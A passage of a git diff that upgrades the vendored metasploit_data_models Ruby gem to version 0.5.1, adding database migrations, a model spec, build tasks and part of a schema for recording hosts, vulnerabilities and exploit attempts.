tested this vulnerability + t.text :module # The specific module name that was used + t.integer :session_id # Database identifier of any opened session + t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) + end + end + + def self.down + drop_table :vuln_attempts + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb new file mode 100755 index 0000000000..c34101fd89 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000005_add_vuln_and_host_counter_caches.rb @@ -0,0 +1,14 @@ +class AddVulnAndHostCounterCaches < ActiveRecord::Migration + + def self.up + add_column :hosts, :host_detail_count, :integer, :default => 0 + add_column :vulns, :vuln_detail_count, :integer, :default => 0 + add_column :vulns, :vuln_attempt_count, :integer, :default => 0 + end + + def self.down + remove_column :hosts, :host_detail_count + remove_column :vulns, :vuln_detail_count + remove_column :vulns, :vuln_attempt_count + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb new file mode 100755 index 0000000000..cb99f7ee84 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000006_add_module_details.rb @@ -0,0 +1,118 @@ +class AddModuleDetails < ActiveRecord::Migration + + def self.up + + create_table :module_details do |t| + t.timestamp :mtime # disk modified time + t.text :file # location on disk + t.string :mtype # exploit, auxiliary, post, etc + t.text :refname # module path (no type) + t.text :fullname # module path with type + t.text :name # module title + t.integer :rank # exploit rank + t.text :description # + t.string :license # MSF_LICENSE + t.boolean :privileged # true or false + t.timestamp :disclosure_date # Mar 10 2004 + t.integer :default_target # 0 + t.text :default_action # "scan" + t.string :stance # "passive" + t.boolean :ready # true/false + end + + add_index :module_details, :refname + add_index :module_details, :name + add_index :module_details, :description + add_index :module_details, :mtype + + create_table :module_authors do |t| + t.integer :module_detail_id + t.text :name + t.text :email + end + add_index :module_authors, :module_detail_id + + create_table :module_mixins do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_mixins, :module_detail_id + + create_table :module_targets do |t| + t.integer :module_detail_id + t.integer :index + t.text :name + end + add_index :module_targets, :module_detail_id + + create_table :module_actions do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_actions, :module_detail_id + + create_table :module_refs do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_refs, :module_detail_id + add_index :module_refs, :name + + create_table :module_archs do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_archs, :module_detail_id + + create_table :module_platforms do |t| + t.integer :module_detail_id + t.text :name + end + add_index :module_platforms, :module_detail_id + + end + + def self.down + remove_index :module_details, :refname + remove_index :module_details, :name + remove_index :module_details, :description + remove_index :module_details, :mtype + + remove_index :module_authors, :module_detail_id + remove_index :module_mixins, :module_detail_id + remove_index :module_targets, :module_detail_id + remove_index :module_actions, :module_detail_id + remove_index :module_refs, :module_detail_id + remove_index :module_refs, :name + remove_index :module_archs, :module_detail_id + remove_index :module_platform, :module_detail_id + + drop_table :module_details + drop_table :module_authors + drop_table :module_mixins + drop_table :module_targets + drop_table :module_actions + drop_table :module_refs + drop_table :module_archs + drop_table :module_platforms + + end +end + +=begin + +Mdm::Host.find_by_sql(" +SELECT + hosts.id, hosts.address, module_details.mtype AS mtype, module_details.refname AS mname, vulns.name AS vname, refs.name AS vref +FROM + hosts,vulns,vulns_refs,refs,module_refs,module_details +WHERE + hosts.id = vulns.host_id AND + vulns.id = vulns_refs.vuln_id AND + vulns_refs.ref_id = refs.id AND + refs.name = module_refs.name AND + module_refs.module_detail_id = modules_details.id +").map{|x| [x.address, x.mname, x.vname, x.vref ] } + + +=end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb new file mode 100755 index 0000000000..22d3ec0b1f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000007_add_exploit_attempts.rb @@ -0,0 +1,26 @@ +class AddExploitAttempts < ActiveRecord::Migration + + def self.up + create_table :exploit_attempts do |t| + t.integer :host_id # Host table reference (primary) + t.integer :service_id # Service table reference (optional) + t.integer :vuln_id # Vuln table reference (optional) + t.timestamp :attempted_at # Timestamp of when the session was opened or the module exited + t.boolean :exploited # Whether or not the attempt succeeded + t.string :fail_reason # Short string corresponding to a Msf::Exploit::Failure constant + t.string :username # The user that tested this vulnerability + t.text :module # The specific module name that was used + t.integer :session_id # Database identifier of any opened session + t.integer :loot_id # Database identifier of any 'proof' loot (for non-session exploits) + t.integer :port # Port -> Services are created/destroyed frequently and failed + t.string :proto # Protocol | attempts may be against closed ports. + end + + add_column :hosts, :exploit_attempt_count, :integer, :default => 0 + end + + def self.down + drop_table :exploit_attempts + remove_column :hosts, :exploit_attempt_count + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb new file mode 100755 index 0000000000..7d6dd0f96b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120625000008_add_fail_message.rb @@ -0,0 +1,12 @@ +class AddFailMessage < ActiveRecord::Migration + + def self.up + add_column :vuln_attempts, :fail_detail, :text + add_column :exploit_attempts, :fail_detail, :text + end + + def self.down + remove_column :vuln_attempts, :fail_detail + remove_column :exploit_attempts, :fail_detail + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb new file mode 100644 index 0000000000..2160e61de6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20120718202805_add_owner_and_payload_to_web_vulns.rb @@ -0,0 +1,13 @@ +class AddOwnerAndPayloadToWebVulns < ActiveRecord::Migration + + def self.up + add_column :web_vulns, :owner, :string + add_column :web_vulns, :payload, :text + end + + def self.down + remove_column :web_vulns, :owner + remove_column :web_vulns, :payload + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb new file mode 100644 index 0000000000..bf0f9d7297 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20130228214900_change_required_columns_to_null_false_in_web_vulns.rb @@ -0,0 +1,35 @@ +# Changes all the {COLUMNS} in the web_vulns table that are required for {Mdm::WebVuln}, but were previously +# :null => true +class ChangeRequiredColumnsToNullFalseInWebVulns < ActiveRecord::Migration + # Columns that were previously :null => true, but are actually required to be non-null, so should be + # :null => false + COLUMNS = [ + :category, + :confidence, + :method, + :name, + :params, + :path, + :pname, + :proof, + :risk + ] + # Table in which {COLUMNS} are. + TABLE_NAME = :web_vulns + + # Marks all the {COLUMNS} as :null => true + def down + COLUMNS.each do |column| + change_column_null(TABLE_NAME, column, true) + end + end + + # Marks all the {COLUMNS} as :null => false + def up + COLUMNS.each do |column| + change_column_null(TABLE_NAME, column, false) + end + end + + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm/host/operating_system_normalization.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/mdm/host/operating_system_normalization.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/mdm/host/operating_system_normalization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/base64_serializer.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/base64_serializer.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/base64_serializer.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/engine.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/engine.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/engine.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/serialized_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/serialized_prefs.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/serialized_prefs.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/ip_format_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/ip_format_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/ip_format_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/lib/metasploit_data_models/validators/password_is_strong_validator.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/validators/password_is_strong_validator.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb new file mode 100755 index 0000000000..ee7b61398b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/metasploit_data_models/version.rb @@ -0,0 +1,8 @@ +module MetasploitDataModels + # MetasploitDataModels follows the {http://semver.org/ Semantic Versioning Specification}. At this time, the API + # is considered unstable because although the database migrations have moved from + # metasploit-framework/data/sql/migrate to db/migrate in this project, not all models have specs that verify the + # migrations (with have_db_column and have_db_index) and certain models may not be shared between metasploit-framework + # and pro, so models may be removed in the future. Because of the unstable API the version should remain below 1.0.0 + VERSION = '0.5.1' +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake new file mode 100644 index 0000000000..cc279684e7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/lib/tasks/yard.rake @@ -0,0 +1,27 @@ +# @note All options not specific to any given rake task should go in the .yardopts file so they are available to both +# the below rake tasks and when invoking `yard` from the command line + +require 'yard' +require 'yard/rake/yardoc_task' + +namespace :yard do + YARD::Rake::YardocTask.new(:doc) do |t| + # --no-stats here as 'stats' task called after will print fuller stats + t.options = ['--no-stats'] + + t.after = Proc.new { + Rake::Task['yard:stats'].execute + } + end + + desc "Shows stats for YARD Documentation including listing undocumented modules, classes, constants, and methods" + task :stats => :environment do + stats = YARD::CLI::Stats.new + stats.run('--compact', '--list-undoc') + end +end + +# @todo Figure out how to just clone description from yard:doc +desc "Generate YARD documentation" +# allow calling namespace to as a task that goes to default task for namespace +task :yard => ['yard:doc'] \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/metasploit_data_models.gemspec b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec similarity index 88% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/metasploit_data_models.gemspec rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec index ec0d9dd672..c3f3788558 100644 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/metasploit_data_models.gemspec +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/metasploit_data_models.gemspec @@ -18,6 +18,10 @@ Gem::Specification.new do |s| # ---- Dependencies ---- s.add_development_dependency 'rake' + # markdown formatting for yard + s.add_development_dependency 'redcarpet' + # documentation + s.add_development_dependency 'yard' s.add_runtime_dependency 'activerecord', '>= 3.2.10' s.add_runtime_dependency 'activesupport' diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb new file mode 100644 index 0000000000..d55706f947 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/app/models/mdm/web_vuln_spec.rb @@ -0,0 +1,87 @@ +require 'spec_helper' + +describe Mdm::WebVuln do + let(:confidence_range) do + 1 .. 100 + end + + let(:methods) do + [ + 'GET', + 'POST', + # XXX not sure why PATH is valid since it's not an HTTP method verb. + 'PATH' + ] + end + + let(:risk_range) do + 0 .. 5 + end + + context 'associations' do + it { should belong_to(:web_site).class_name('Mdm::WebSite') } + end + + context 'CONSTANTS' do + it 'should define CONFIDENCE_RANGE' do + described_class::CONFIDENCE_RANGE.should == confidence_range + end + + it 'should define METHODS in any order' do + described_class::METHODS.should =~ methods + end + + it 'should define RISK_RANGE' do + described_class::RISK_RANGE.should == risk_range + end + end + + context 'database' do + context 'columns' do + it { should have_db_column(:blame).of_type(:text) } + it { should have_db_column(:category).of_type(:text).with_options(:null => false) } + it { should have_db_column(:confidence).of_type(:text).with_options(:null => false) } + it { should have_db_column(:description).of_type(:text) } + it { should have_db_column(:method).of_type(:string).with_options(:limit => 1024, :null => false) } + it { should have_db_column(:name).of_type(:string).with_options(:limit => 1024, :null => false) } + it { should have_db_column(:owner).of_type(:string) } + it { should have_db_column(:params).of_type(:text).with_options(:null => false) } + it { should have_db_column(:path).of_type(:text).with_options(:null => false) } + it { should have_db_column(:payload).of_type(:text) } + it { should have_db_column(:pname).of_type(:text).with_options(:null => false) } + it { should have_db_column(:proof).of_type(:binary).with_options(:null => false) } + it { should have_db_column(:query).of_type(:text) } + it { should have_db_column(:request).of_type(:binary) } + it { should have_db_column(:risk).of_type(:integer).with_options(:null => false) } + it { should have_db_column(:web_site_id).of_type(:integer).with_options(:null => false) } + + context 'timestamps' do + it { should have_db_column(:created_at).of_type(:datetime).with_options(:null => false) } + it { should have_db_column(:updated_at).of_type(:datetime).with_options(:null => false) } + end + end + + context 'indices' do + it { should have_db_index(:method) } + it { should have_db_index(:name) } + it { should have_db_index(:path) } + end + end + + context 'validations' do + it { should validate_presence_of :category } + it { should ensure_inclusion_of(:confidence).in_range(confidence_range) } + it { should ensure_inclusion_of(:method).in_array(methods) } + it { should validate_presence_of :name } + it { should validate_presence_of :path } + it { should validate_presence_of :params } + it { should validate_presence_of :pname } + it { should validate_presence_of :proof } + it { should ensure_inclusion_of(:risk).in_range(risk_range) } + it { should validate_presence_of :web_site } + end + + context 'serializations' do + it { should serialize(:params).as_instance_of(MetasploitDataModels::Base64Serializer) } + end +end \ No newline at end of file diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/Rakefile b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/Rakefile rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/Rakefile diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/javascripts/application.js b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/javascripts/application.js rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/javascripts/application.js diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/stylesheets/application.css b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/assets/stylesheets/application.css rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/assets/stylesheets/application.css diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/controllers/application_controller.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/controllers/application_controller.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/controllers/application_controller.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/helpers/application_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/helpers/application_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/helpers/application_helper.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/mailers/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/mailers/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/mailers/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/models/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/models/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/models/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/views/layouts/application.html.erb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/app/views/layouts/application.html.erb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/app/views/layouts/application.html.erb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config.ru b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config.ru rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config.ru diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/application.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/application.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/application.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/boot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/boot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/boot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/database.yml.example b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/database.yml.example rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/database.yml.example diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environment.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/development.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/development.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/development.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/production.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/production.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/production.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/test.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/environments/test.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/environments/test.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/backtrace_silencers.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/backtrace_silencers.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/backtrace_silencers.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/inflections.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/inflections.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/inflections.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/mime_types.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/mime_types.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/mime_types.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/secret_token.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/secret_token.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/secret_token.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/session_store.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/session_store.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/session_store.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/wrap_parameters.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/initializers/wrap_parameters.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/initializers/wrap_parameters.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/routes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/config/routes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/config/routes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb new file mode 100644 index 0000000000..bd6f124190 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/db/schema.rb @@ -0,0 +1,638 @@ +# encoding: UTF-8 +# This file is auto-generated from the current state of the database. Instead +# of editing this file, please use the migrations feature of Active Record to +# incrementally modify your database, and then regenerate this schema definition. +# +# Note that this schema.rb definition is the authoritative source for your +# database schema. If you need to create the application database on another +# system, you should be using db:schema:load, not running all the migrations +# from scratch. The latter is a flawed and unsustainable approach (the more migrations +# you'll amass, the slower it'll run and the greater likelihood for issues). +# +# It's strongly recommended to check this file into your version control system. + +ActiveRecord::Schema.define(:version => 20130228214900) do + + create_table "api_keys", :force => true do |t| + t.text "token" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "attachments", :force => true do |t| + t.string "name", :limit => 512 + t.binary "data" + t.string "content_type", :limit => 512 + t.boolean "inline", :default => true, :null => false + t.boolean "zip", :default => false, :null => false + 